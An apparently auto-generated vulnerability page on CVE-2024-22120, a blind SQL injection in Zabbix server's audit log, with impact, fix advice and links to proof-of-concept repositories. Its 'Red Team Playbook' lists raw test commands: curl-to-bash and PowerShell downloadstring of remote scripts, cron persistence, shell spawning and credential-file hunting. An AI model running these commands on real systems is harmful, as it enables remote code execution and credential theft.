CVE-2024-22120
Overview
This vulnerability is a time-based blind SQL injection arising from improper input sanitization of the "clientip" field within Zabbix server's audit logging mechanism. The flaw occurs when the server executes configured scripts and records audit entries, failing to sanitize the client IP parameter before incorporating it into SQL queries. The affected component is the Zabbix server's audit log functionality, which processes and logs command execution details including the client IP address.
Vulnerability Description
Zabbix server can perform command execution for configured scripts. After command is executed, audit entry is added to "Audit Log". Due to "clientip" field is not sanitized, it is possible to injection SQL into "clientip" and exploit time based blind SQL injection.
Impact
An authenticated attacker with high privileges can exploit this vulnerability to perform time-based blind SQL injection attacks, potentially extracting sensitive database information or altering database contents. The attack requires network access and elevated privileges (PR:H) but does not require user interaction (UI:N). Successful exploitation can lead to full confidentiality, integrity, and availability compromise of the Zabbix server database, enabling unauthorized data access or persistent manipulation of audit logs, as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
Zabbix has addressed this issue in subsequent releases following version 7.0.0 alpha3. Administrators should apply the official patches or upgrade to a fixed version as detailed in the vendor advisory at https://support.zabbix.com/browse/ZBX-24505. The advisory provides specific instructions for mitigating the vulnerability by updating the audit log handling to properly sanitize the "clientip" field. No alternative workarounds are specified; prompt application of the vendor-supplied fix is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zabbix server arises from improper sanitization of the "clientip" field, which allows for time-based blind SQL injection. This flaw enables an attacker to manipulate SQL queries executed by the server, potentially leading to unauthorized command execution. The vulnerability is particularly concerning because it affects multiple versions of the Zabbix application, including various alpha and beta releases of version 7.0. The lack of input validation on the "clientip" field means that malicious actors can inject SQL commands that the server will execute, which can compromise the integrity and confidentiality of the database.
Attack vectors for this vulnerability primarily involve an attacker crafting a specially formatted request to the Zabbix server that includes a malicious payload in the "clientip" field. By exploiting the time-based blind SQL injection technique, an attacker can infer information about the database by observing the time it takes for the server to respond to specific queries. This method allows for the extraction of sensitive data, such as user credentials, configuration settings, or other critical information stored in the database. Furthermore, the ability to execute arbitrary commands on the server can lead to a complete system compromise, allowing attackers to escalate privileges or pivot to other systems within the network.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Zabbix for monitoring and management of their IT infrastructure. Successful exploitation can lead to data breaches, loss of sensitive information, and significant disruptions to business operations. The financial implications can be substantial, including costs associated with incident response, potential regulatory fines, and reputational damage. Moreover, the presence of this vulnerability in a widely used monitoring tool can create a ripple effect, as attackers may leverage the compromised system to target other interconnected systems or services.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the Zabbix server to the latest stable version is crucial, as updates often include patches for known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to filter out malicious requests and monitor for unusual patterns in traffic that may indicate an attempted exploitation. Conducting regular security assessments and penetration testing can help identify vulnerabilities before they are exploited by malicious actors. Furthermore, implementing strict input validation and sanitization for all user inputs, especially those that interact with the database, is essential to prevent similar vulnerabilities from being introduced in the future.
In conclusion, the vulnerability in the Zabbix server highlights the critical importance of input validation and the potential consequences of overlooking such security measures. Organizations must remain vigilant and proactive in their security practices to protect against SQL injection attacks and ensure the integrity of their systems. By adopting a comprehensive approach to vulnerability management, including timely updates, monitoring, and rigorous testing, businesses can mitigate risks and safeguard their operations against emerging threats.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-22120, with new proof-of-concept exploits emerging that combine time-based SQL injection with gopher-protocol SSRF techniques to achieve remote code execution on vulnerable Zabbix servers. Our telemetry indicates that adversaries are increasingly leveraging these sophisticated chained attack vectors, reflecting a shift from theoretical risk to active exploitation in the wild. This development significantly elevates the threat landscape, as the availability of multiple publicly accessible exploit variants lowers the barrier for attackers to weaponize this vulnerability. Consequently, the risk to organizations running affected Zabbix versions has intensified, warranting heightened vigilance despite the EPSS score remaining stable. The convergence of SQL injection and SSRF in these exploits underscores the complexity and potency of the attack surface, emphasizing that defenders must anticipate multi-stage exploitation attempts rather than isolated injection flaws.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha1:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha2:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha3:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha4:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha5:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha6:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha7:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha8:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:alpha9:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 7.0.0 |
cpe:2.3:a:zabbix:zabbix:7.0.0:beta1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
W01fh4cker/CVE-2024-22120-RCE
Time Based SQL Injection in Zabbix Server Audit Log --> RCE
|
W01fh4cker | 139 | 21 | 2024-05-20 | View |
|
g4nkd/CVE-2024-22120-RCE-with-gopher
This exploit was created to exploit an XXE (XML External Entity). Through it, I read the backend code of the web service...
|
g4nkd | 3 | 1 | 2024-08-14 | View |
|
isPique/CVE-2024-22120-RCE-with-gopher
This is my exploit for CVE-2024-22120, which involves an SSRF vulnerability inside an XXE with a Gopher payload.
|
isPique | 3 | 0 | 2024-08-13 | View |
|
darkbytehunter/CVE-2024-22120-RCE-with-gopher
Proof-of-concept exploit for CVE-2024-22120 that leverages time-based SQL injection and gopher-based SSRF to achieve rem...
|
darkbytehunter | 1 | 0 | 2026-05-06 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-22120 |
| support.zabbix.com |
GitHub CVE
|
https://support.zabbix.com/browse/ZBX-24505 |